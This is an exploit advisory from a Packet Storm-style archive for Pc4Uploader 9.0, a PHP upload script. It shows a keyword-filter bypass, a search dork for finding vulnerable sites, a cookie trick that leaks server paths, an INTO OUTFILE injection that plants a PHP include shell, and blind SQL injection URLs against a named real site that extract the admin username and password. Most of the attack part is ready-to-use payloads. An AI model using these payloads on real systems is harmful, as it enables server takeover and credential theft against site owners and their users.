Pc4Uploader 9.0 Blind SQL Injection

2009-05-19T00:00:00
ID PACKETSTORM:77590
Type packetstorm
Reporter Qabandi
Modified 2009-05-19T00:00:00

Description

                                        
                                            ` || || | ||   
o_,_7 _|| . _o_7 _|| q_|_|| o_w_,  
( : / (_) / ( .   
  
  
=By: Qabandi  
=Email: iqa[a]hotmail.fr  
  
From Kuwait PEACE  
  
=Vuln: pc4arb - pc4 Uploader <= 9.0 Blind SQL injection  
=INFO: http://pc4arb.com/product-13.html  
=BUY: http://pc4arb.com/deal-13.html  
=DORK: intext:"Powered by Pc4Uploader v9.0"  
  
  
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-SQL-Filter-Bypass@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  
----------Vulnerable code@ "./code.php"----------------------------------------  
function filter_sql( $inputsql )  
{  
$regsql = "(delete)|(update)|(union)|(insert)";  
return eregi_replace( $regsql, "", $inputsql );  
}  
------------------END----------------------------------------------------------  
-=-===--=-=-==-=-==-=-=-=-=-=-=-=-POC-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
$Q = "UNIunionON";  
filter_sql($Q);  
echo $Q;  
  
--  
Result = UNION  
  
We can use this to upload a file, using the "dumpfile" and "outfile" Mysql functions.  
  
POC:-  
  
conditions: magic_quotes_gpc = off // 0777 chmoded folder // location of folder.  
  
To get location in server, we can generate an error using the STYLE cookie handler, to do this we need to set tempst=qabandi.  
  
javascript:document.cookie="tempst=qabandi";  
  
Refresh,  
  
you will get the following:  
  
Warning: file(templates/Qabandi/main_block.html) [function.file]: failed to open stream: No such file or directory in /home/XXXXXXX/public_html/function.php on line 33  
  
now we have the location in server, "/home/XXXXXXX/public_html/"  
  
"/home/XXXXXXX/public_html/upfiles/" <--- 99% of the time its chmoded 0777.  
  
now the exploit:  
  
http://localhost/pc4up/code.php?load=banner&id=-1 UNunionION select 1,2,3,'<? include($Q);?>',5,6,7,8,9 into outfile '/home/XXXXXXX/public_html/upfiles/qabandi.php'  
  
  
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-BLIND SQL@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  
----------Vulnerable code@ "./code.php"-----------------------------------------  
  
if ( $_GET['load'] == "banner" )  
{  
$idx = $_GET['id'];  
$idx = strip_tags( $idx );  
$idx = filter_sql( $idx );/// <------ SIMPLY bypassed by using "unUNIONion" ;)  
if ( !( $query_banner = mysql_query( "SELECT * FROM banners WHERE id={$idx}" ) ) )  
{  
exit( "Query failed" );  
}  
$x = mysql_fetch_row( $query_banner );  
$url = $x[2];  
$visits = $x[5];  
if ( !( $query = mysql_query( "UPDATE banners SET visits=visits+1 WHERE id ={$idx}" ) ) )  
{  
exit( "Query failed" );  
}  
header( "Location: {$url}" );  
}  
  
  
--------------:PoC:-------------  
conditions: admin must have added a banner using the "add banner" feature. the banner ID must be valid.  
  
  
Blind SQL DEMO:-  
http://upload.traidnt.net/code.php?load=banner&id=1 and substring(@@version,1,1)=4 <-- TRUE! (MySQL version 4)  
  
  
http://upload.traidnt.net/code.php?load=banner&id=1 and substring(@@version,1,1)=5 <-- BLANK  
  
  
To get info:  
  
http://upload.traidnt.net/code.php?load=banner&id=1 and ascii(substring((SELECT concat(username,char(62),password) from admin limit 0,1),1,1))>95  
  
  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
-=-=-=-==-=LA tsta3mloha 3la elmowaqi3 el islamiya=-=-=-=-=-=-=-=-  
=-=-=-=-==-=-=-=-=-=-No-More---Private=-=-=-=-=-=-=-=-=-=-=-=-=-=-  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
Salamz: Killer Hack, Mr.Mn7os, Ghost-r00t, All muslim hackers.  
  
  
`